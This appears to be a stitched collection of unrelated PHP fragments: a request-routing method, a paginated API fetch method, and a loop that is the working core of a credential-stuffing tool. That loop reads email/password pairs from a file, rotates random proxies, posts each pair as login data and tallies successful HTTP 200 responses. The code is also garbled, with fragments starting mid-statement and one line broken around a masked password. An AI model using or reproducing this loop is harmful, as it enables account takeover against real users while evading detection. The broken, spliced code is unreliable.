public static function run() { if (!Site::init(!empty($_SERVER["HTTP_HOST"]) ? $_SERVER["HTTP_HOST"] : '')) { @header('HTTP/1.1 404 Not Found'); exit; } $method = Core::getRequestMethod(); if (!in_array($method, array('get', 'put', 'delete', 'post'))) { @header("HTTP/1.1 501 Not Implemented"); exit; } $data = Core::getRequestData(); if (empty($data[$method]) && !in_array($_SERVER['REQUEST_URI'], array($_SERVER['SCRIPT_NAME'], "", "/"))) { $data[$method] = $_SERVER['REQUEST_URI']; } $resource = Core::getResource($data, $method); $staticFolders = array('/cache/', '/static/', '/uploads/', '/vendor/'); foreach ($staticFolders as $folder) { if (strncasecmp($resource, $folder, strlen($folder)) === 0) { @header('HTTP/1.1 404 Not Found'); exit; } } App::set(App::parse($resource)); Core::resource($resource); Module::init(); $response = Response\Factory::get($resource, $method); if (empty($response)) { @header('HTTP/1.1 406 Not Acceptable'); exit; } Request::init($response, $data); echo Request::run($resource, $method); }
public static function all($page = 1, $count = 10) { $request = new Request(self::getUrl(), 'GET'); $request->setParameters(array("page" => $page, "per_page" => $count)); $response = $request->run(); $return_array = array(); $class = get_called_class(); foreach ($response as $r) { $return_array[] = new $class($r); } return $return_array; }
exit('File ' . $params['use'] . ' doesnt exist!'); } $requests = 0; $requests_200 = 0; $handle = fopen($params['use'], 'r'); while ($line = trim(fgets($handle))) { if ((bool) $params['use_proxy']) { if (count($proxy_list) == 0) { exit('No proxy in proxy_list.json'); } $proxy = $proxy_list[mt_rand(0, count($proxy_list) - 1)]; $request->setProxy($proxy['ip'], $proxy['port']); } $user = explode($params['delimiter'], $line); $data = $post_data; foreach ($data as $key => $value) { $data[$key] = str_replace(['{email}', '{password}'], $user, $value); } $request->postData($data); $request->run(true); // stats $requests++; if ($request->getHTTPCode() == 200) { $requests_200++; } echo $requests, ' HTTP-Status: ' . $request->getHTTPCode(), ' Email: ', $user[0], ' Password: '******'use_proxy']) { echo 'Used Proxy: ', $proxy['ip'], ':', $proxy['port'], PHP_EOL; } } echo 'Done! ', $requests, ' requests send. ', $requests_200, ' requests with HTTP Code 200.';
<?php include 'setup.inc'; Request::run();